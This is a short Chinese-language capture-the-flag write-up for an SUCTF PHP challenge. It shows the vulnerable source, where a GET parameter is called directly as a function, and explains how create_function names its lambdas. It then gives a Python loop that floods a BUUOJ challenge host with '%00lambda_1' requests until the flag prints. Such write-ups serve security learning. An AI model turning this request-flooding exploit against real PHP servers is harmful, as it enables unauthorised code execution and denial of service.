前言
关键字:[create_function]
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
题解
create_function()
用法见刷题笔记:[BJDCTF2020]EzPHP
<?php
$lambda = create_function('', 'return 1;');
print_r($lambda);
注意没加括号,会打印%00lambda_%d
这样形式的字符串,也就是匿名函数的函数名,会随着刷新不断增大。
%d
是持续递增的,这里的%d
会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork
模式启动Apache启动新的线程,这样这里的%d
会刷新为1
import requests
i = 0
while True:
r = requests.get('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
i += 1
print(i)